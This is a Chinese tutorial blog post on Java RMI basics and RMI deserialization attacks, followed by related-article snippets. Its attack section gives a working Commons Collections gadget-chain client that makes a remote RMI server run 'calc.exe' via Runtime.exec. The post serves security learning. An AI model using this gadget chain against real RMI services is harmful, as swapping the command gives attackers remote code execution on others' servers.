Java安全之RMI反序列化

0x00 前言

在分析Fastjson漏洞前,需要了解RMI机制和JNDI注入等知识点,所以本篇文来分析一下RMI机制。

在Java里面简单来说使用Java调用远程Java程序使用的就是RMI,调用C的程序调用的是JNI,调用python程序使用到的是Jython。RMI、JNI、Jython,其实在安全中都能发挥比较大的作用。 JNI在安全里面的运用就比较大了,既然可以调用C语言,那么后面的。。自行脑补。这个暂且忽略不讲,后面再说。如果使用或了解过python编写burp的插件的话,对这个Jython也不会陌生,如果说pthon的插件就需要安装一个Jython的jar包。这个后面再说。这里主要讲RMI,该机制会在反序列化中频繁运用,例如Weblogic的T3协议的反序列化漏洞。

概念

在了解RMI前还需要弄懂一些概念。

RMI(Remote Method Invocation,远程方法调用)是用Java在JDK1.2中实现的,它大大增强了Java开发分布式应用的能力。

Java本身对RMI规范的实现默认使用的是JRMP协议。而在Weblogic中对RMI规范的实现使用T3协议。

JRMP:Java Remote Message Protocol ,Java 远程消息交换协议。这是运行在Java RMI之下、TCP/IP之上的线路层协议。该协议要求服务端与客户端都为Java编写,就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。
JNDI :Java命名和目录接口(the Java naming and directory interface,JNDI)是一组在Java应用中访问命名和目录服务的API。命名服务将名称和对象联系起来,使得读者可以用名称访问对象。目录服务是一种命名服务,在这种服务里,对象不但有名称,还有属性。

0x01 RMI作用

RMI概述

RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

不同于socket,RMI中分为三大部分:Server、Client、Registry 。

Server: 	提供远程的对象
Client: 调用远程的对象
Registry: 一个注册表,存放着远程对象的位置(ip、端口、标识符)

RMI基础运用

前面也说过RMI可以调用远程的一个Java的对象进行本地执行,但是远程被调用的该类必须继承java.rmi.Remote接口。

  1. 定义一个远程的接口
package com.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException; public interface rmidemo extends Remote {
public String hello() throws RemoteException;
}

在定义远程接口的时候需要继承java.rmi.Remote接口,并且修饰符需要为public否则远程调用的时候会报错。并且定义的方法里面需要抛出一个RemoteException的异常。

  1. 编写一个远程接口的实现类
package com.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject; public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo{ protected RemoteHelloWorld() throws RemoteException {
System.out.println("构造方法");
} public String hello() throws RemoteException {
System.out.println("hello方法被调用");
return "hello,world";
}
}

在编写该实现类中需要将该类继承UnicastRemoteObject

  1. 创建服务器实例,并且创建一个注册表,将需要提供给客户端的对象注册到注册到注册表中
package com.rmi;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class servet {
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RemoteHelloWorld();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello }
}

到了这一步,简单的RMI服务端的代码就写好了。下面来写一个客户端调用该远程对象的代码。

  1. 编写客户端并且调用远程对象

    package com.rmi.rmiclient;
    
    import com.rmi.RemoteHelloWorld;
    import com.rmi.rmidemo; import java.rmi.NotBoundException;
    import java.rmi.Remote;
    import java.rmi.RemoteException;
    import java.rmi.registry.LocateRegistry;
    import java.rmi.registry.Registry; public class clientdemo {
    public static void main(String[] args) throws RemoteException, NotBoundException {
    Registry registry = LocateRegistry.getRegistry("localhost", 1099);//获取远程主机对象
    // 利用注册表的代理去查询远程注册表中名为hello的对象
    rmidemo hello = (rmidemo) registry.lookup("hello");
    // 调用远程方法
    System.out.println(hello.hello());
    }
    }

在这一步需要注意的是,如果远程的这个方法有参数的话,调用该方法传入的参数必须是可序列化的。在传输中是传输序列化后的数据,服务端会对客户端的输入进行反序列化。网上有很多分析RMI传输流量的文章,可以去找找看这里就不做演示了。

0x02 RMI 反序列化攻击

需要使用到RM进行反序列化攻击需要两个条件:接收Object类型的参数、RMI的服务端存在执行命令利用链。

这里对上面得代码做一个简单的改写。

远程接口代码:

package com.rmidemo;

import java.rmi.Remote;
import java.rmi.RemoteException; public interface User extends Remote {
public String hello(String hello) throws RemoteException; void work(Object obj) throws RemoteException; void say() throws RemoteException; }

需要定义一个object类型的参数方法。

远程接口实现类代码:

package com.rmidemo;

import java.rmi.RemoteException;
import java.rmi.server.RMIClientSocketFactory;
import java.rmi.server.RMIServerSocketFactory;
import java.rmi.server.UnicastRemoteObject; public class UserImpl extends UnicastRemoteObject implements User {
protected UserImpl() throws RemoteException {
} protected UserImpl(int port) throws RemoteException {
super(port);
} protected UserImpl(int port, RMIClientSocketFactory csf, RMIServerSocketFactory ssf) throws RemoteException {
super(port, csf, ssf);
} public String hello(String hello) throws RemoteException {
return "hello";
} public void work(Object obj) throws RemoteException {
System.out.println("work被调用了");
} public void say() throws RemoteException {
System.out.println("say");
}
}

server 代码:

package com.rmidemo;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class server {
public static void main(String[] args) throws RemoteException { User user = new UserImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("user",user);
System.out.println("rmi running....");
}
}

client代码:

package com.rmidemo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map; public class client {
public static void main(String[] args) throws Exception {
String url = "rmi://192.168.20.130:1099/user";
User userClient = (User) Naming.lookup(url); userClient.work(getpayload()); }
public static Object getpayload() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers); Map map = new HashMap();
map.put("value", "sijidou");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain); Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Retention.class, transformedMap);
return instance;
} }

执行客户端后就会执行我们设置好要执行的命令,也就是弹出计算器。之所以会被执行的原因前面也说过RMI在传输数据的时候,会被序列化,传输的时序列化后的数据,在传输完成后再进行反序列化。那么这时候如果传输一个恶意的序列化数据就会进行反序列化的命令执行。至于序列化数据怎么构造,这个其实分析过CC链就一目了然了,这里不做赘述。

参考文章

https://xz.aliyun.com/t/6660#toc-6
https://xz.aliyun.com/t/4711#toc-8

0x03 结尾

在RMI的攻击手法中,其实不止文中提到的这么一个,但是这里就先告一段落先。现在的主要是为了分析Fastjson漏洞做一个前置准备,不多太深的研究。

Java安全之RMI反序列化的更多相关文章

  1. Java安全之RMI协议分析

    Java安全之RMI协议分析 0x00 前言 在前面其实有讲到过RMI,但是只是简单描述了一下RMI反序列化漏洞的利用.但是RMI底层的实现以及原理等方面并没有去涉及到,以及RMI的各种攻击方式.在其 ...

  2. Java 中序列化与反序列化

    一. 序列化和反序列化概念 Serialization(序列化)是一种将对象以一连串的字节描述的过程:反序列化deserialization是一种将这些字节重建成一个对象的过程.将程序中的对象,放入文 ...

  3. Java安全之Fastjson反序列化漏洞分析

    Java安全之Fastjson反序列化漏洞分析 首发:先知论坛 0x00 前言 在前面的RMI和JNDI注入学习里面为本次的Fastjson打了一个比较好的基础.利于后面的漏洞分析. 0x01 Fas ...

  4. Java安全之SnakeYaml反序列化分析

    Java安全之SnakeYaml反序列化分析 目录 Java安全之SnakeYaml反序列化分析 写在前面 SnakeYaml简介 SnakeYaml序列化与反序列化 常用方法 序列化 反序列化 Sn ...

  5. java 对象序列化与反序列化

    Java序列化与反序列化是什么? 为什么需要序列化与反序列化? 如何实现Java序列化与反序列化? 本文围绕这些问题进行了探讨. 1.Java序列化与反序列化  Java序列化是指把Java对象转换为 ...

  6. Java对象序列化与反序列化一 JSON

    Java对象序列化与反序列化一 JSON 1. 依赖库 jackson-all-1.6.1.jar 2. 代码 public class Student {    private String nam ...

  7. java 的序列化与反序列化

    前言: 一直很不理解java的序列化的概念,为什么java对象的序列化要实现 Serializable的接口?或者要实现Externalizable的接口?而且Externalizable 的父类还是 ...

  8. Java对象序列化和反序列化的工具方法

    import java.io.File; import java.io.FileInputStream; import java.io.FileNotFoundException; import ja ...

  9. Java之序列化和反序列化

    序列化的对象: package test_demo.SerializableOper; import java.io.Serializable; /* * 序列化对象需要实现序列号接口 * */ pu ...

随机推荐

  1. Python-在列表、字典中筛选数据

    实际问题有哪些? 过滤掉列表[3,9,-1,10.-2......] 中负数 筛选出字典{'li_ming':90,'xiao_hong':60,'li_kang':95,'bei_men':98} ...

  2. Java知识系统回顾整理01基础01第一个程序05Eclipse中运行Java程序

    一.打开Java文件 直接打开在 命令行Hello World 中创建的java 文件 HelloWorld.java 二.运行 点击绿色运行按钮,直接运行 在eclipse中,编译过程自动执行了 三 ...

  3. 关于继承、封装、多态、抽象和接口(Java)

    1.继承:    通过扩展一个已有的类,并继承该类的属性和行为,来创建一个新的类.已有的称为父类,新的类称为子类(父类派生子类,子类继承父类). (1)继承的优点:①代码的可重用性: ②父类的属性的方 ...

  4. aptitude命令

    命令 作用 aptitude update 更新可用的包列表 aptitude upgrade 升级可用的包 aptitude dist-upgrade 将系统升级到新的发行版 aptitude in ...

  5. 使用MVC 5、Web API 2、KnockoutJS、Ninject和NUnit开发、架构和测试Web应用程序

    做一名微软软件开发人员就像在国际煎饼屋订早餐一样.每道菜都有一堆煎饼,你必须从各种各样的煎饼和糖浆口味中选择.对于web应用程序,解决方案堆栈是一组软件子系统或组件,用于交付功能完整的解决方案(无论是 ...

  6. CN1,CN2 GT和CN2 GIA的区别

    用一句话来概括,CN1主要定位于承载普通质量的互联网业务,而CN2则定位于承载企业VPN业务.中国电信的自营业务及高质量的互联网业务,CN2 GIA又比GT要好一些. 顺序:CN2 GIA>CN ...

  7. 1.Linux内核模块编程

    1.模块加载程序结构 - 模块加载函数: static int _init init_function(void); module_init(init_function); - 模块卸载函数: sta ...

  8. Js中Currying的应用

    Js中Currying的应用 柯里化Currying是把接受多个参数的函数变换成接受一个单一参数的函数,并且返回接受余下的参数且返回结果的新函数的技术,是函数式编程应用. 描述 如果说函数式编程中有两 ...

  9. GIT之分支管理

    分支管理 一.分支推进 主分支 单线分支,随着代码的提交而形成的一条直线,HEAD 随着commit提交之后的节点移动而移动. 子分支 当切换到子分支的时候,HEAD 则指向子分支的节点. 在子分支上 ...

  10. day55 Pyhton 前端Jquery07

    昨日回顾: 表单,点击submit提交以后,服务端受到信息 import socket import pymysql from urllib.parse import unquote def run( ...